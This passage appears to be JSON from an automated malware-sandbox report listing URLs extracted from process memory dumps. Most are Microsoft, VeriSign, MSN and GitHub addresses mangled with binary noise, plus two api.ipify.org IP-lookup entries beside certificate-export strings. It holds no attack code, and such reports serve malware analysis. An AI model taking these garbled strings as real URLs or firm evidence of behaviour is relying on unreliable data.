\"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com0rcv\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0dr5r\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4>@6t+a6\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://microsoft.com0k\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://microsoft.com0\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://www.verisign.com/cps04*0(0&\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0quuu\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comfallbacknavigationres@\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comonesvcunitunmodeheader\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.compageversions,\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comsai_ntp=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"https://ntp.msn.comstoragetest_page_version\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pkiops/docs/repository.htm'x\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmax\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com0rcv\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0dr5r\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'41.3.6.1.4.1.311.10.1241204180014z0/^g(o-cejy\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://microsoft.com0k\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found URL \"http://microsoft.com0\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://www.verisign.com/cps04*0(0&\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0quuu\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comfallbacknavigationres@\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comonesvcunitunmodeheader\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.compageversions,\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://www.msn.com/en-us/shopping?form=ansbs6&srcmodid=topsd&srctmtid=prg-wpo-shp2t4\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aao0l1\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/element-registry-6bb9ae6fd6ef.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-7901e7-f8af173502c4.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_stack-68835d-59206c834a41.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comsai_ntp=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comstoragetest_page_version\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htm'x\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmax\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com0rcv\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0dr5r\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4>@6t+a6\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://microsoft.com0k\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://microsoft.com0\" - Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://www.verisign.com/cps04*0(0&\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0quuu\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comfallbacknavigationres@\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comonesvcunitunmodeheader\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.compageversions,\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comsai_ntp=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"https://ntp.msn.comstoragetest_page_version\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htm'x\" - Source: 